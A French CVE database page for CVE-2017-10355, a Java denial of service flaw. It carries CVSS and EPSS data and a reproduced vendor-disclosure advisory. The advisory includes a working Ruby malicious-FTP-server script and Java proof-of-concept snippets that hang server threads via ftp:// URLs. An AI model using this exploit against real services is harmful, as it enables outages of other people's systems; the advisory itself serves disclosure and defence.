CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Vulnerability in the Java SE, Java SE Embedded, JRockit component of Oracle Java SE (subcomponent: Networking). Supported versions that are affected are Java SE: 6u161, 7u151, 8u144 and 9; Java SE Embedded: 8u144; JRockit: R28.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded, JRockit. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded, JRockit. Note: This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
5.3
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
None
There is no loss of confidentiality within the impacted component.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
Low
Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
19.34%
–
–
–
–
2021-09-05
–
19.34%
–
–
–
2022-01-09
–
19.34%
–
–
–
2022-02-06
–
–
25.26%
–
–
2022-04-03
–
–
25.26%
–
–
2023-03-12
–
–
–
0.36%
–
2023-07-09
–
–
–
0.36%
–
2023-12-17
–
–
–
0.41%
–
2024-02-11
–
–
–
0.41%
–
2024-04-14
–
–
–
0.41%
–
2024-06-02
–
–
–
0.41%
–
2024-11-17
–
–
–
0.41%
–
2024-12-22
–
–
–
0.93%
–
2025-01-19
–
–
–
0.93%
–
2025-03-18
–
–
–
–
6.89%
2025-03-30
–
–
–
–
6.89%
2025-04-06
–
–
–
–
6.89%
2025-04-06
–
–
–
–
6.89,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-08-29 22h00 +00:00 Auteur : SecuriTeam EDB Vérifié : No
## Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in Oracle Java JDK/JRE (1.8.0.131 and previous versions) packages and Apache Xerces (2.11.0)
The vulnerabilities are:
Oracle JDK/JRE Concurrency-Related Denial of Service
java.net.URLConnection (with no setConnectTimeout) Concurrency-Related Denial of Service
## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
Update 1: Oracle has released patches to address this vulnerability and assigned CVE-2017-10355
Oracle acknowledged receiving the report, and has assigned it a tracking number: S0876966. We have no further information on patch availability or a workaround.
## Vulnerabilities Details
These two vulnerabilities can be triggered to cause a Denial of Service against a server, under the following conditions:
An attacker can pass an URL parameter that points to a controlled FTP server to the target
Target server uses vulnerable component(s) to fetch the resource specified by the attacker
Target server does not prevent fetching of FTP URI resources
In both vulnerabilities, the attack sequence is the following:
Attacker forces vulnerable target server to parse an FTP URL which points to an attacker’s controlled FTP server
Target server fetches FTP resource provided by attacker
Attacker’s FTP server abruptly exits, leaving the Java process on target server with two internal threads in an infinite waiting status
If the Java process is single-threaded, then it cannot further process any other client requests, reaching a Denial of Service condition with only one request from the attacker
In case of a multi-threading process, then it is possible to use the same technique and reach a Denial of Service condition of all available threads, by issuing one request for each available thread
The attacker’s controlled FTP server has to “abruptly” exit when the Java client will perform a RETR FTP command. This behavior is not properly handled and causes a thread concurrency Denial of Service.
For example:
require 'socket'
ftp_server = TCPServer.new 21
Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 ftp-server")
counter = 0
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
if req.include? "USER"
ftp_client.puts("331 password")
else
ftp_client.puts("230 Waiting data")
counter = counter + 1
if counter == 6
abort
end
end
}
puts "Aborted..."
end
end
end
loop do
sleep(50000)
end
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
require 'socket'
ftp_server = TCPServer.new 21
Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 ftp-server")
counter = 0
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
if req.include? "USER"
ftp_client.puts("331 password")
else
ftp_client.puts("230 Waiting data")
counter = counter + 1
if counter == 6
abort
end
end
}
puts "Aborted..."
end
end
end
loop do
sleep(50000)
end
When triggered, the DoS will result in a CLOSE_WAIT status on the connection between the target server and the FTP server (192.168.234.134), leaving the Java process thread stuck.
Oracle JDK/JRE Concurrency-Related Denial of Service
The vulnerable functions are:
java.io.InputStream
java.xml.ws.Service
javax.xml.validation.Schema
javax.xml.JAXBContext
java.net.JarURLConnection – The setConnectionTimeout and setReadTimeout are ignored
javax.imageio.ImageIO
Javax.swing.ImageIcon
javax.swing.text.html.StyleSheet
## java.io.InputStream Proof of Concept
```
import java.io.InputStream;
import java.net.URL;
public class RandomAccess {
public static void main(String[] args) {
try {
//url = new URL ("ftp://maliciousftp:2121/test.xml");
URL url = new URL("ftp://maliciousftp:2121/test.xml");
InputStream inputStream = url.openStream();
inputStream.read();
//urlc.setReadTimeout(5000);
//urlc.setConnectTimeout(5000); // <- this fixes the bug
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
## javax.xml.ws.Service Proof of Concept
```
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
public class CreateService {
public static void main(String[] args) {
String wsdlURL = "ftp://maliciousftp:2121/test?wsdl";
String namespace = "http://foo.bar.com/webservice";
String serviceName = "SomeService";
QName serviceQN = new QName(namespace, serviceName);
try {
Service service = Service.create(new URL(wsdlURL), serviceQN);
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
```
## javax.xml.validation.Schema Proof of Concept
```
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.validation.Schema;
import javax.xml.validation.SchemaFactory;
import org.xml.sax.SAXException;
public class NSchema {
public static void main(String[] args) {
SchemaFactory schemaFactory =
SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
URL url;
try {
url = new URL("ftp://maliciousftp:2121/schema");
try {
Schema schemaGrammar = schemaFactory.newSchema(url);
} catch (SAXException e) {
e.printStackTrace();
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
```
## javax.xml.JAXBContext Proof of Concept
```
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
public class UnMarsh {
public static void main(String[] args) {
JAXBContext jaxbContext = null;
try {
jaxbContext = JAXBContext.newInstance();
} catch (JAXBException e) {
e.printStackTrace();
}
URL url = null;
try {
url = new URL("ftp://maliciousftp:2121/test");
} catch (MalformedURLException e) {
e.printStackTrace();
}
Unmarshaller jaxbUnmarshaller = null;
try {
jaxbUnmarshaller = jaxbContext.createUnmarshaller();
} catch (JAXBException e) {
e.printStackTrace();
}
try {
Object test = jaxbUnmarshaller.unmarshal(url);
} catch (JAXBException e) {
e.printStackTrace();
}
}
}
```
## java.net.JarURLConnection Proof of Concept
```
import java.io.IOException;
import java.net.JarURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.jar.Manifest;
public class JavaUrl {
public static void main(String[] args) {
URL url = null;
try {
url = new URL("jar:ftp://maliciousftp:2121/duke.jar!/");
} catch (MalformedURLException e) {
e.printStackTrace();
}
JarURLConnection jarConnection = null;
try {
jarConnection = (JarURLConnection) url.openConnection();
jarConnection.setConnectTimeout(5000);
jarConnection.setReadTimeout(5000);
} catch (IOException e1) {
e1.printStackTrace();
}
try {
Manifest manifest = jarConnection.getManifest();
} catch (IOException e) {
e.printStackTrace();
}
}
}
```
## javax.imageio.ImageIO Proof of Concept
```
import java.awt.Image;
import java.io.IOException;
import java.net.URL;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ImageReader {
public static void main(String[] args) {
Image image = null;
try {
URL url = new URL("ftp://maliciousftp:2121/test.jpg");
image = ImageIO.read(url);
} catch (IOException e) {
e.printStackTrace();
}
JFrame frame = new JFrame();
frame.setSize(300, 300);
JLabel label = new JLabel(new ImageIcon(image));
frame.add(label);
frame.setVisible(true);
}
}
```
## javax.swing.ImageIcon Proof of Concept
```
import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.ImageIcon;
public class ImageXcon {
public static void main(String[] args) {
URL imgURL;
try {
imgURL = new URL("ftp://maliciousftp:2121/test");
String description = "";
ImageIcon icon = new ImageIcon(imgURL, description);
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
```
## javax.swing.text.html.StyleSheet Proof of Concept
```
import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.text.html.StyleSheet;
public class ImportStyla {
public static void main(String[] args) {
StyleSheet cs = new StyleSheet();
URL url;
try {
url = new URL("ftp://maliciousftp:2121/test");
cs.importStyleSheet(url);
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
```
## java.net.URLConnection – Concurrency-Related Denial of Service
A Thread Concurrency Denial of Service condition exists when java.net.URLConnection is used to fetch a file from an FTP server without specifying a Connection Timeout value.
The vulnerable functions are:
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
org.dom4j.Document
org.dom4j.io.SAXReader
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
The Root Cause Issue in Apache Xerces is the com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class
In this case, XMLEntityManager.class does not explicitly set Connection Timeout for the connect object, letting Java to set a default value of -1, leading to a Denial of Service condition, as explained below.
Example of code using Apache Xerces library to fetch an XML file from an FTP server:
```
[snip]
private void parseXmlFile() {
//get the factory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
//Using factory get an instance of document builder
DocumentBuilder db = dbf.newDocumentBuilder();
//parse using builder to get DOM representation of the XML file
dom = db.parse("ftp://maliciousftpserver/test.xml"); & lt; - FTP URL controlled by the attacker
} catch (ParserConfigurationException pce) {
pce.printStackTrace();
} catch (SAXException se) {
se.printStackTrace();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
[snip]
```
## SAXParser Proof of Concept
```
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
UserHandler userhandler = new UserHandler();
saxParser.parse("ftp://badftpserver:2121/whatever.xml”)
```
## DOM4J / SAXReader Proof of Concept
```
SAXReader reader = new SAXReader();
Document document = reader.read( "ftp://badftpserver:2121/whatever.xml" );
```
## JAVAX XML Parsers Proof of Concept
```
DocumentBuilder db = dbf.newDocumentBuilder();
dom = db.parse("ftp://badftpserver:2121/whatever.xml");
```